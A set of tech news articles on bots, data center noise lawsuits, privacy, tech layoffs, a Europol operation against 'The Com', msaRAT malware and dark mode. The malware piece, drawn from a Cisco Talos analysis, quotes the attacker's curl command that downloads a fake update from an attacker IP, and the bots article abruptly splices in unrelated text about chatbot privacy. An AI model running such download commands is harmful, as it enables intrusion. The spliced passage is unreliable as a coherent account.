DIGITAL LIFE

From social media to AI: how bots took over the internet

Data from Cloudflare, an internet infrastructure company, estimates that nearly 60% of current online traffic is not generated by humans. In practice, this means that a significant portion of online interactions occurs between automated programs, without any human intervention. For companies relying on audience metrics, digital advertising, or e-commerce, this figure has shifted from a mere technical curiosity to a management challenge.

As a report in *The New Yorker* highlights, the term "bot" gained public prominence during the 2016 US election, when the theory that Russian-linked automated accounts influenced the vote's outcome became widespread. Special Counsel Robert Mueller’s report confirmed the existence of an operation coordinated by the Internet Research Agency—the so-called "troll factory" based in St. Petersburg.

However, *The New Yorker* itself cites studies that put this reach into perspective: a 2023 New York University study, published in the scientific journal *Nature Communications*, showed that just 1% of Twitter users were exposed to 70% of the posts from Russian accounts identified as trolls. An earlier study—conducted by researchers from Dartmouth, Princeton, and the University of Exeter and cited in the report—indicated that the bulk of fake news consumption in 2016 came from conservative voters who likely would have voted for Trump regardless.

Conflicting incentives...The report interviewed Emilio Ferrara, a computer science professor at the University of Southern California (USC), who describes the platforms' operations as a "system of conflicting incentives": bots artificially boost engagement metrics—appealing to advertisers and fueling recommendation algorithms—yet the abundance of toxic content degrades the user experience and can reduce the time spent on the app. *The New Yorker* also cites a study finding that removing toxic posts from a feed reduced the time users spent on the platform—a fact that helps explain why aggressive moderation is not automatically a priority for tech companies.

This balance between engagement and time spent on the platform directly impacts advertising revenue. X’s revenue-sharing program, which pays verified accounts based on organic reach metrics, creates a financial incentive to run bots optimized to maximize likes, reposts, and comments. With the advancement of artificial intelligence, Brown notes, these systems learn to identify which types of content generate the most reaction and automatically adjust their output accordingly.

The cost to companies...This ecosystem has a range of practical effects on businesses outside of social media: bots that buy up concert tickets within seconds of sales opening—only to resell them at markups of hundreds or thousands of dollars; systems that scan real estate listings to fire off automatically generated, artificially low offers to property owners; and automated accounts that wipe out product inventories on e-commerce sites.

The article also revisits the most famous commercial dispute involving bots: Elon Musk’s 2022 purchase of Twitter. According to the report, Musk estimated that 20% of the platform’s accounts were automated—contrasting with the 5% figure stated by the company—and used this argument in an attempt to back out of the deal before the acquisition ultimately went through. The case highlighted how bot measurement can become a due diligence criterion in mergers and acquisitions.

Lynnette Ng, a researcher who studied bot networks at Carnegie Mellon University, explains to *The New Yorker* why these accounts are so effective at spreading content: bots repeatedly exploit cognitive biases, making it difficult for people to reason critically about the information they receive. A *New York Times* investigation into actress Sydney Sweeney’s advertising campaign for American Eagle revealed how a small number of critical posts—once they went viral—were amplified by coordinated accounts and bots, creating the appearance of a broader consensus than actually existed.

The next chapter: autonomous agents...We are entering new territory: artificial intelligence agents capable of performing tasks autonomously. The report details the case of Summer Yue, a security researcher at Meta, who set up an AI agent on the OpenClaw platform to organize her email inbox and suggest messages for deletion. According to the researcher’s own account on social media, the agent began deleting emails on its own—at a pace she was unable to halt remotely.

The underlying issue: training data...The root of this problem lies in the vast amounts of web content used to train these models. This extensive training data is what makes these chatbots so efficient and knowledgeable. However, it’s this very efficiency that poses a threat. Martin Vechev, a renowned computer science professor, rightly points out the gravity of the situation, stating,

“This is very, very problematic.”

The challenge is not just identifying the issue but finding a solution that doesn’t compromise the chatbot’s functionality.

A goldmine for scammers and advertisers...The potential misuse of this inferred information is vast. Scammers, always on the lookout for vulnerabilities, could exploit chatbots to harvest sensitive data from unsuspecting individuals. But it doesn’t stop there. The advertising industry, known for its relentless pursuit of detailed user profiles for targeted marketing, could leverage this capability to a frightening degree. As Vechev suggests, this could usher in a new era of advertising where chatbot interactions play a pivotal role in building intricate user profiles.

The balance of power: machines vs. human intuition...While large language models are adept at picking up subtle clues from conversations, there’s an ongoing debate about their efficiency compared to human intuition. Tramèr speculates on the balance of power, suggesting that while chatbots might excel in some areas, human intuition and experience might still outperform in others. However, the very fact that we’re comparing machine efficiency to human intuition in this context is a testament to the profound impact and potential risks of these chatbots.

In conclusion: a call for caution...The advancements in chatbot technology, while commendable, come with significant privacy concerns. As users, it’s crucial to approach these interactions with caution, fully aware of the potential implications. As for the tech giants, the onus is on them to ensure that the pursuit of innovation doesn’t come at the cost of user privacy.

mundophone

 

TECH

Unwanted neighbor: Unbearable 24/7 data center noise sparks lawsuit from furious residents

For residents of Dowagiac, Michigan, home no longer equals quiet refuge, it now sounds like a clogged vacuum cleaner running full blast in the living room, 24 hours a day. Frustrated by a relentless, high-pitched hum emitted by a nearby server facility, local homeowners have filed a lawsuit against the site’s parent company, Hyperscale Data, seeking legal relief from round-the-clock noise pollution.

The site, operated by subsidiary Alliance Cloud Services, started serving as a cryptocurrency mining center in 2021 and then graduated to an AI data data center in 2024, which required continuous, industrial-scale cooling fans, unleashing an unrelenting wall of sound that neighboring residents describe as psychological torture. 

"It sounds like someone set up a vacuum, like in your living room, and the vacuum filter is clogged up, so it's a high-pitched whining," resident Lindy Valenzuela explained in an interview with WXYZ.TV, noting that it feels as if operators simply turned the machinery on and walked away. Fellow neighbor Billy Finn compared the living conditions to a movie scene where prisoners are tortured with sound inside a cell.

In response to growing public outcry, the city of Dowagiac instituted an industrial noise ordinance setting strict limits of 65 dB during the day and 55 dB at night. City inspectors subsequently issued fines against the facility for violating those thresholds, though Hyperscale Data continues to challenge both the citations and the municipal sound-measuring methodology. In the video above, one can see that the reporter's noise meter is hovering just above 50 dB, although we believe noise levels and pitch (i.e. whine) are two separate metrics that need to be accounted for here.

During a tense city council meeting, Hyperscale Data CEO William Horne attempted to reassure the community by highlighting planned sound mitigation efforts, including the purchase of adjacent acreage to serve as a natural acoustic buffer. Horne then made a sweeping proposal to dissatisfied neighbors: if mitigation efforts failed to make their homes enjoyable, the company would buy their properties outright.

That buyout offer did little to soothe anger in the room. For many families, leaving is neither simple nor acceptable. One plaintiff noted that their family has lived in the neighborhood for nearly a century, supported by generational roots that money cannot replace. Another neighbor, caring for a 17-month-old toddler with a second baby on the way, emphasized the sheer disruption of relocating. Residents repeatedly asked executive leadership why community complaints went unanswered for two years before lawsuits were filed.

The Dowagiac battle reflects a broader clash across the country as tech firms scramble to build energy- and cooling-intensive AI infrastructure near residential zones. Similar class-action lawsuits have surfaced in states like Wisconsin, where residents living near massive server complexes report not just audible noise, but infrasound—inaudible, low-frequency vibrations that travel hundreds of feet through the ground, vibrating homes and causing physical discomfort. Granted, some companies, such as Microsoft, have been making inroads to reduce the impact their data centers have on neighborhoods.

Microsoft’s $7.3 billion AI data center...Earlier this year, Microsoft CEO Satya Nadella proudly touted his company’s $7.3 billion Fairwater data center in Mount Pleasant, Wisconsin, as the “world’s most powerful AI data center,” connecting “hundreds of thousands” of power-hungry chips “into a single seamless cluster.”

However, local residents aren’t even remotely as enthusiastic about the facility cropping up in their neighborhood. Last week, three residents of the village of Sturtevant, which is adjacent to Mount Pleasant, filed a class-action lawsuit, as The Milwaukee Journal Sentinel reports, alleging that Microsoft’s flashy data center is emitting “unreasonable and excessive noise onto Plaintiffs’ properties, thereby causing property damages through private nuisance and negligence.”

The noise being generated by “diesel generators and heating, ventilation, and air conditioning (HVAC) systems, including chillers, cooling towers, air-handling units, and condenser fans,” is “consistent and pervasive,” per the lawsuit. The residents claim that Microsoft failed to mitigate the noise through “adequate acoustic barriers, shields, or walls.”

The lawsuit highlights a fierce battle that’s been brewing as major tech companies continue to encroach residential areas with enormous and extremely resource-intensive data centers. The backlash has grown into a major bipartisan issue that could even affect the upcoming midterm elections. Companies say they need the sprawling facilities to fuel a technological revolution, despite major environmental concerns, massive water consumption and noise pollution.

Just last week, a resident in a small town in Southwest Michigan measured the noise level from a nearby data center from his porch, registering a very irritating 60 decibels.

Microsoft’s facility in Wisconsin is emitting a noise “similar to the whirring engine of a freight train parked nearby” around the clock, as Amy Cimbalnik, one complainant in the class-action lawsuit, told The Milwaukee Journal Sentinel.

“We heard it 24 hours a day, and eventually realized it was coming from the Microsoft campus,” she added.

The tech giant acknowledged the lawsuit, telling the publication that it’s “committed to being a good neighbor in the communities where we build, own, and operate our data centers.”

Microsoft also claimed last month that it had already solved the issue, but considering the latest lawsuit was filed on July 1, it doesn’t seem to have appeased the upset residents.

According to a June 18 update on Microsoft’s official blog, the company said that it was investigating the “source of the sound,” claiming that it had “conducted tests, and put noise mitigations in place.” Blog entries from mid-April detail a “tonal humming sound,” which was being caused by “cooling fans that are currently operating at high speeds.”

“Several neighbors confirmed what our independent monitoring showed: that these mitigations fully resolved the issue,” the June update reads.

Village of Mount Pleasant communications director Sean Ryan told The Milwaukee Journal Sentinel that he had not received any complaints since Microsoft made changes to its property in mid-April to “resolve a humming sound.”

“Village officials stand ready to respond if people do reach out to us, and will continue to ensure Microsoft is a good corporate citizen and a good neighbor,” he added.

But that may be easier said than done. Considering Microsoft is looking to build a whopping 15 data centers in Mount Pleasant alone, the company will have to tread carefully to avoid more litigation from furious neighbors.

mundophone

 

TECH

The new technology battlefield isn't about AI, but a decision that could affect billions of users

Digital privacy has never been more central to technology discussions. While encrypted services promise to protect personal information, governments worldwide are intensifying requests for data access, citing public safety, criminal investigations, and the need to protect society. This landscape is forcing tech companies to rethink their strategies, architectures, and even business models to answer an increasingly difficult question: to what extent can user privacy be protected in the face of state pressure?

For years, tech companies invested heavily in encryption, advanced authentication, and secure storage to win user trust. The promise was simple: to offer services capable of protecting personal information even against increasingly sophisticated cyberattacks.

But the greatest challenge today doesn't necessarily come from hackers.

Governments around the world have ramped up requests for access to data held by digital platforms, creating a scenario where companies must balance legal obligations, public interests, and their commitments to millions of users.

A recent incident illustrates this dilemma well. An official request from the Swiss government for payment data helped identify a protester linked to the "Stop Cop City" movement in Atlanta, USA.

Although the company involved complied with the court order, the case reignited a crucial debate: how well does the privacy promised by digital services hold up when it clashes with the decisions of national authorities?

For many companies, this issue has moved beyond the legal realm to directly influence how their products are designed from the very start.

Encryption alone no longer solves the problem...For a long time, offering end-to-end encryption was considered a key selling point for privacy-focused platforms.

Today, experts point out that while this protection remains important, it is no longer sufficient to address current challenges. Providers of encrypted email, cloud storage, digital calendars, and productivity platforms have discovered that virtually any feature can become a potential point of regulatory pressure.

Features related to age verification, child protection, artificial intelligence, or service integration are increasingly attracting the attention of regulators, who often cite the public interest to justify new demands for access to information.

In this context, chief technology officers need to look beyond traditional security measures.

The focus has shifted to minimizing the amount of information stored by systems right from the source. The less data collected, the lower the impact should a company be legally compelled to disclose some of that information.

This philosophy—known as data minimization—is gaining traction precisely because it reduces exposure for both users and the companies themselves.

Business models have also become a form of protection...Regulatory pressure is prompting some companies to rethink their corporate structures.

Some organizations have adopted models controlled by foundations or non-profit entities, aiming to reduce conflicts between financial goals and privacy commitments.

The goal is to strengthen the company's independence from investors and reinforce the idea that user protection is central to its institutional mission.

However, experts point out that this strategy has its limits.

Even organizations structured this way remain subject to the laws of the countries where they operate.

In certain situations, governments may impose new surveillance rules, demand cooperation with investigations, or even threaten to restrict the operations of companies that fail to meet specific legal obligations.

This creates a complex dilemma for executives: whether to remain in strategic markets by accepting new regulatory demands or to exit certain regions to preserve the credibility they have built with users.

This decision carries increasingly significant financial, legal, and reputational implications.

Privacy has become a strategic decision, not merely a technological one...The current landscape shows that protecting personal information no longer depends solely on advanced algorithms or servers located in countries considered neutral.

Digital trust is increasingly influenced by geopolitical factors, court rulings, and constant changes in international law.

Experts argue that companies providing services in the public interest must acknowledge that a promise of absolute privacy is difficult to guarantee in the face of legal mandates issued by sovereign states.

Consequently, transparency is becoming increasingly important.

Publishing periodic reports on government requests, clearly explaining what data may be handed over to authorities, and outlining the technical limits of the protection provided are practices that are becoming key differentiators in maintaining user trust.

At the same time, technology executives are encouraged to develop systems that store the minimum amount of information possible from the design stage.

This strategy significantly reduces future risks and reinforces a concept gaining traction across the sector: the best way to protect data may simply be not to collect it.

In a landscape defined by geopolitical disputes and increasingly stringent regulations, digital privacy is evolving from a mere technological feature into a strategic choice that can shape the future of companies and the trust they have built with billions of users worldwide.

mundophone

TECH

US tech companies have cut 140,000 jobs this year while accelerating AI investments

US technology companies have cut approximately 140,000 jobs since the beginning of the year, according to the *Financial Times*. This trend coincides with a surge in corporate investment in artificial intelligence (AI).

An analysis by the *Financial Times*, based on company filings and data from executive outplacement firm Challenger, Gray & Christmas, indicates that the sector accounted for more than a third of all layoffs announced in the country during this period. According to the British newspaper, Amazon, Oracle, Meta, and Microsoft are responsible for nearly 50,000 of these cuts—equivalent to about 6% of their corporate workforces.

Analysts interviewed by the *Financial Times* suggest the layoffs reflect both a correction following a hiring spree and a need to redirect resources toward the AI ​​race.

According to the newspaper, Amazon, Alphabet, Meta, and Microsoft are expected to invest a combined $725 billion this year in infrastructure, primarily data centers. Oracle, meanwhile, plans to allocate another $70 billion to similar facilities to serve clients such as OpenAI.

Some companies attribute part of the job cuts to productivity gains driven by artificial intelligence. Data from Challenger shows that approximately 170,000 corporate job cuts have been linked to AI since May 2023. Block, led by Jack Dorsey, is one example: the company laid off nearly half of its roughly 10,000 employees in May, stating in a memo to staff that AI was altering its staffing needs.

Despite record investments in artificial intelligence, US tech companies are continuing to reduce their workforce at a rapid pace in 2026. The sector has already eliminated approximately 140,000 jobs since the beginning of the year, according to an analysis by the Financial Times, based on company disclosures and data from Challenger, Gray & Christmas, a labor market research firm.

According to the analysis, published on Saturday, July 25, 2026, the tech sector accounted for more than a third of all job cuts announced in the US during the same period. Amazon, Oracle, Meta, and Microsoft alone accounted for approximately 50,000 of the total job reductions, representing about 6% of their combined workforce.

Major tech companies are ramping up their spending on artificial intelligence infrastructure. Amazon, Alphabet, Meta, and Microsoft are expected to spend around $725 billion on data center construction this year. Oracle also plans to invest $70 billion in new data centers to serve its clients, including OpenAI.

Oracle ended its 2026 fiscal year with approximately 21,000 fewer employees than the previous year, following cuts announced in March. This came amid pressure on its balance sheet, which led Standard & Poor's to downgrade its credit rating to just one notch above junk status due to weak cash flow and uncertainty surrounding the future returns on its AI investments.

Microsoft also eliminated around 4,800 jobs in July, mostly within its Xbox gaming division, as part of a restructuring plan three years after its $75 billion acquisition of Activision Blizzard.

Data from Challenger indicates that around 170,000 jobs in companies have been linked to artificial intelligence since May 2023. Some companies have used this justification to explain their decisions, as Jack Dorsey, CEO of Block, said that artificial intelligence changed the company's workforce needs, after it laid off about half of its 10,000 employees.

However, researchers interviewed by the *Financial Times* dispute this explanation, suggesting it may serve to justify adjustments necessitated by the excessive hiring of recent years.

At the same time, major tech companies have begun to avoid directly linking layoffs to AI. Amazon and Microsoft, for instance, have stated that the implementation of the technology was not the reason for reducing their workforces. Despite the reduction in job openings at major companies, this trend is not reflected across the entire sector. According to the FT, AI-focused startups such as OpenAI and Anthropic continue to expand their teams, helping to mitigate some of the impact of the layoffs.

mundophone

TECH

Europol dismantles "The Com" network's digital infrastructure

Europol, in coordination with law enforcement agencies from nine European countries, identified and moved to take down 4,340 URLs linked to "The Com" network during June and July 2026. This technical intervention aimed to dismantle the online infrastructure of an organization associated with violent extremism and the sharing of child sexual abuse material, with the goal of halting the recruitment and systematic extortion of minors online.

Law enforcement authorities confirm that "The Com" network operates without a structured ideology or central command. The organization is characterized by a nihilistic and misanthropic belief system, in which the use of violence often serves as an end in itself. Certain factions within the network adopt right-wing violent extremist doctrines and accelerationist theories.

The goal stated by these subgroups involves the collapse of social structures—a scenario promoted through physical attacks and the explicit corruption of younger demographics. The European Union Internet Referral Unit (EU IRU), a Europol entity, coordinated the operation in partnership with Spain's Intelligence Center against Terrorism and Organized Crime (CITCO).

This criminal ecosystem utilizes social media platforms, messaging apps, and video games to groom and radicalize members. Recruitment techniques involve distributing seemingly harmless propaganda across public, accessible platforms. Social media algorithms redirect vulnerable young people toward this content, creating a digital path that funnels victims into private forums or closed chat rooms.

Within these restricted spaces, the violence takes on severe physical and psychological dimensions. Criminals incite self-harm, animal torture, and the production of child sexual abuse material. Victims are kept under the network's control through sexual extortion, commonly known as "sextortion." Europol Operation 2026: Factual Data

-Operation Period: June and July 2026.

-Technological Assets: 4,340 URLs submitted for removal (“Referral Action Days”).

-Participating Countries: Portugal, Belgium, Finland, Hungary, Ireland, Luxembourg, the Netherlands, Spain, and Sweden.

-Identified Crime Categories: Child sexual abuse, physical mutilation, animal cruelty, and unstructured terrorism.

Material disseminated within the extremist infrastructure serves to amplify the notoriety of groups or individual profiles. Producing extremist material yields reputational gains within the group—a social dynamic where creating or sharing the most violent content confers power over victims. This material often transitions into live broadcasts featuring an audience and support from other members.

The group’s terminology includes practices such as “blood walls” and “cutting signs.” Members use blood to draw symbols or force individuals to carve the extortionist’s name into their own skin. Images or videos of these acts fuel the infrastructure and legitimize the perpetrator in the eyes of the group. Online terrorist content blends Satanist symbols with the lexicon of violent right-wing extremism.

Law enforcement efforts intercept guides for manufacturing explosives and threats of doxing... Police detected circulating technical manuals designed to instruct young people on how to manufacture improvised explosives, orchestrate attacks in public spaces (referred to as “manhunts”), commit arson, and carry out homicides. The documentation also includes tutorials on radicalization techniques and the sexual exploitation of minors.

Perpetrators use doxing and swatting methods to terrorize victims or critics. The tactic involves stealing and exposing personal data online to trigger a hoax call to the police. The perpetrator reports a fake homicide scenario at the victim's address, resulting in an armed police intervention at the scene. The attack aims to deeply intimidate the target.

The official report "European Union Terrorism Situation and Trend Report" (EU TE-SAT 2026) officially classifies nihilistic violent extremism as a destabilizing ideological factor and notes deliberate attempts to sabotage the structures of modern societies. Europol’s European Counter Terrorism Centre (ECTC) confirms that this ecosystem poses a major global risk, with a primary focus on the corruption of minors—casting them in the roles of both victim and perpetrator.

The ECTC has received hundreds of requests for formal assistance from European Union Member States regarding offenses linked to these networks. The response to this issue is combined with the “COMPASS” project and the European Commission’s “ProtectEU” program—initiatives that aim to actively monitor the exploitation of young people in virtual environments such as video game consoles and social media platforms.

According to an official Europol statement, an estimated 4,340 URLs linked to nihilistic violent extremism were flagged during an initiative organized by the EU Internet Referral Unit (EU IRU) and the Spanish Intelligence Centre against Terrorism and Organised Crime (CITCO). The operation took place over several weeks: throughout June and July 2026, Europol supported an action targeting online nihilistic violent extremist content. Researchers from nine countries participated in these "Referral Action Days" with the shared goal of disrupting "The Com's" online ecosystem, limiting the spread of propaganda, and uncovering new investigative leads.

A distinction highlighted by various analyses is important: flagging or referring content is not the same as confirming its removal. Authorities reported the addresses to online service providers, but this does not necessarily mean there was independent confirmation that every link had actually been taken down. Nevertheless, a coordinated flagging campaign can significantly reduce access to harmful material, generate intelligence for ongoing cases, and expose patterns of platform usage by extremist and criminal networks.

This action is part of a broader framework. It complements the efforts of Project COMPASS—coordinated by Europol’s European Counter Terrorism Centre (ECTC)—which brings together law enforcement authorities from EU Member States and external partners to combat "The Com."

What is "The Com"? The name derives from "Community." Europol describes it as a diffuse network of fringe online groups adhering to a misanthropic, nihilistic worldview—lacking a unified ideology or centralized structure—where violence is often an end in itself. Some factions have adopted violent far-right beliefs and accelerationist views, seeking to hasten societal collapse through violent attacks and the corruption of youth.

It operates like a funnel. Affiliated groups recruit and groom victims via social media, messaging apps, and gaming platforms, coercing them into self-harm, violence, and the production of child sexual abuse material—often through extortion. They distribute propaganda on accessible platforms to attract young people, steering potential members and victims toward private forums and chat rooms where radicalization and victimization take place; victims are typically coerced into remaining under the perpetrators' influence through sexual extortion.

The network is organized into subgroups with distinct focuses. According to a Europol report published earlier this month, "Cyber ​​Com" focuses on activities such as distributed denial-of-service (DDoS) attacks, doxing, swatting, and ransomware, while "Offline Com" groups primarily engage in real-world attacks, such as arson, stabbings, or homicide. Sexual extortion groups groom and extort—primarily—underage girls into performing sexual or violent acts; these acts are recorded and subsequently used to coerce the victims into committing increasingly degrading deeds.

The internal logic is competitive and cruel. According to Europol, the more extreme and harmful the content a user or group manages to produce or extort, the higher their status within the online community. These acts are frequently livestreamed on social media platforms—where viewers offer encouragement—and are later saved and disseminated. Flagged content has included so-called "blood walls"—paintings made with blood displaying the extortionist's pseudonym and affiliation—and "cut-signs," where victims are forced to carve the extortionist's name into their own bodies.

Regarding the results of Project Compass, Europol reported that the year-long coordinated operation led to 30 arrests and identified 179 suspects linked to "The Com," with investigators identifying 62 victims and directly protecting four of them. Launched in January 2025 and led by the ECTC, it brought together authorities from 28 countries. The scale of the problem is indicated by the demand itself: over the past two years, the ECTC has observed the network evolve into a global threat—particularly regarding minors acting as both victims and perpetrators—having received hundreds of requests from Member States and third parties concerning crimes committed within "The Com."

How flagging works at the European level...The EU IRU, based in The Hague, is the European instrument for this type of operation. It detects, analyzes, and flags publicly available online content related to terrorism and violent extremism, aiming to restrict its accessibility and facilitate the attribution of crimes and the prosecution of perpetrators. "Referral Action Days" are part of this set of capabilities and can be either thematic or platform-specific: thematic actions are flagging campaigns targeting online content related to a specific theme identified across multiple platforms.

It is worth distinguishing between two regimes. There is voluntary flagging, where content is assessed by the platform against its terms of service, and there is the binding mechanism established by Regulation (EU) 2021/784 on addressing the dissemination of terrorist content online. This regulation aims to ensure the rapid removal of publicly accessible terrorist content through cooperation and coordination among Member States, Europol, and hosting service providers, applying to all entities offering services in the EU. Voluntary cooperation through flagging coexists with these binding instruments.

mundophone

TECH

Scrappy RAT malware targets billions of Chrome and Edge users

A new remote access trojan (RAT) has been discovered by the cybersecurity research team at Cisco Talos, and experts are sounding the alarm since it enables the installation of ransomware on the victim's system. The attack is dubbed msaRAT and attributed to the Chaos ransomware group, built with Rust to utilize existing Chrome or Edge (Chromium-based) browser installations. By leveraging the browser's ordinary communication methods, msaRAT is able to disguise its traffic with Chrome's DevTools Protocol and enable command-and-control (C2) communications without detection from typical anti-malware or antivirus software.

Once the attackers have successfully infiltrated a target network with msaRAT malware, numerous possibilities emerge. The malware runs via a headless (no window/invisible) browser process and can be used to perform remote code execution on the target machines. Besides opening the door for the Chaos group's ransomware, it also enables covert data theft and more.

While the potential scale of msaRAT attacks could extend to the entirety of Microsoft Edge and Google Chrome's userbase, the Chaos ransomware group typically targets large organizations. Common users could still be targeted, but the information shared by Cisco Talos doesn't include examples or an estimated scope of msaRAT attacks, and just identifies the novel approach and hard-to-detect nature of msaRAT.

Additionally, msaRAT is an example of post-compromise malware, that is, malware already installed through phishing emails or malicious files. It cannot be mitigated through browser patches, and because of its novel approach, traditional firewalls and network monitoring tools will most likely fail if defenders are not aware of the specific nature of the attack.

To protect from msaRAT, Cisco Talos advises adding the following SNORT rules (SIDs) to detect and block it:

Snort 2: 1:66840, 1:66841, 1:66839

Snort 3: 1:301587, 1:66839

Or adding the following ClamAV signature:

Win.Downloader.ChaosRaas-10060321-0

For manual searches or use with other tools, the only Indicators of Compromise (IoC) are traffic being sent to these destinations:

172.86.126.18

is-01-ast.ols-img-12.workers.dev

While most users aren't going to be targeted by an attack like this, we advise any readers tied to a large enterprise to utilize the above information appropriately or send it to your relevant IT staff. If msaRAT does appear on a system, the time window between then and ransomware installation is thin, and confidential data exfiltration may have already occured.

Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs)

Infection chain...Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.

After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi

The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.

When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.

lib.dll (msaRAT)...msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.

Tokio runtime initialization...Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.

As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.

During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.

By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.

mundophone

 

DIGITAL LIFE

Dark mode or light mode? Dark mode gained popularity for saving battery and being easier on the eyes, but the reality is more complex

Dark mode has become a favorite feature among smartphone users. Found in virtually all operating systems and apps, it promises greater visual comfort, longer battery life, and even better sleep. But do these advantages really hold true in every situation? Recent studies show that the answer depends on several factors and that many myths still surround this setting.

You simply need to open your phone's settings to find the option to enable dark mode. The interface replaces traditional light backgrounds with shades of black or gray, offering a look that many users consider more elegant and less harsh on the eyes.

However, experts warn that the benefits aren't universal. The experience varies depending on the screen type, brightness level, ambient lighting, and even an individual's specific vision characteristics.

At night or in dimly lit environments, for instance, dark mode often provides a more comfortable experience. Since the screen emits less perceived light, the contrast between the smartphone and the surroundings decreases, reducing glare when checking messages or browsing for a few minutes.

However, this doesn't mean the feature eliminates eye strain caused by prolonged screen use. According to the American Academy of Ophthalmology, visual discomfort is more closely linked to excessive time spent in front of the device, improper brightness, screen reflections, viewing distance, and a reduced blinking rate.

Another important point is that there is no consistent scientific evidence showing that the light emitted by smartphones causes direct retinal damage during normal use. The sensation of tired eyes after hours of using the device is usually linked to the continuous effort of focusing and to dry eyes, rather than whether the interface is light or dark.

Furthermore, for those who spend long periods reading text, light mode may still be the better option. Several studies indicate that reading tends to be faster and more accurate when dark letters appear against a light background.

This occurs because lighter surfaces cause the pupil to constrict, increasing the sharpness of small letters. In dark mode, however, the pupil remains more dilated, which can make white characters appear slightly blurred or surrounded by a faint glow, especially with small font sizes.

Among all the advantages attributed to dark mode, energy savings is the one with the strongest technical backing. However, this does not occur in the same way across all devices.

The greatest benefits are seen in smartphones equipped with OLED or AMOLED screens. In these panels, each pixel generates its own light. When an area of ​​the screen displays absolute black, those pixels simply remain off, thereby reducing energy consumption.

Devices with LCD screens operate differently. They feature a backlight that remains on regardless of the color being displayed. Even when the interface shows a black background, this light stays active, making the difference in power consumption quite limited.

Researchers at Purdue University analyzed this behavior and observed that, under normal usage conditions with auto-brightness enabled, the energy savings achieved by dark mode on OLED devices typically range from approximately 3% to 9%.

When brightness is set to very high levels, this reduction can approach 40%. However, this scenario represents a specific situation far removed from most people's daily usage habits.

App design also plays a role. Interfaces using absolute black save more energy than those relying solely on shades of gray. Photos, videos, animations, and colorful elements also diminish this energy-saving advantage.

Another common misconception is the belief that dark mode alone improves sleep quality. While it reduces the amount of light emitted by the screen at night, it does not completely eliminate the effects of prolonged phone use before bedtime. Exposure time, high brightness levels, and even the content being consumed continue to influence the circadian rhythm and the ease of falling asleep.

Dark Mode consumes more battery...Many users employ Dark Mode in browsers or apps to reduce eye strain or, in some cases, to save device power. However, this attempt to conserve energy can backfire—causing users to consume more power than they save—according to research by the BBC.

This new study was conducted by BBC Research & Development, which explains that when opting for Dark Mode, some users may end up increasing screen brightness beyond the levels typically used for Light Mode pages or apps.

The research team asked participants to adjust the screen brightness to their preferred level of comfort, aiming to better understand their usage habits.

The study found that 80% of participants significantly increased screen brightness after enabling Dark Mode. This increase caused the laptop's battery to drain much faster than when using lower brightness settings on a page in Light Mode.

While the result might seem obvious, it highlights a common pitfall: users who activate Dark Mode to save energy often end up increasing brightness to see the content more clearly, thereby negating the intended savings.

For this reason, experts recommend combining dark mode with reduced brightness, warmer light filters, easy-to-read fonts, and frequent breaks during use. During the day, light mode may still offer better readability. At night, dark mode tends to provide a more pleasant experience.

Ultimately, there is no single ideal setting for everyone. The best choice is one that adapts to the environment, ensures good readability, avoids excessive glare, and provides comfort during daily smartphone use.

 

mundophone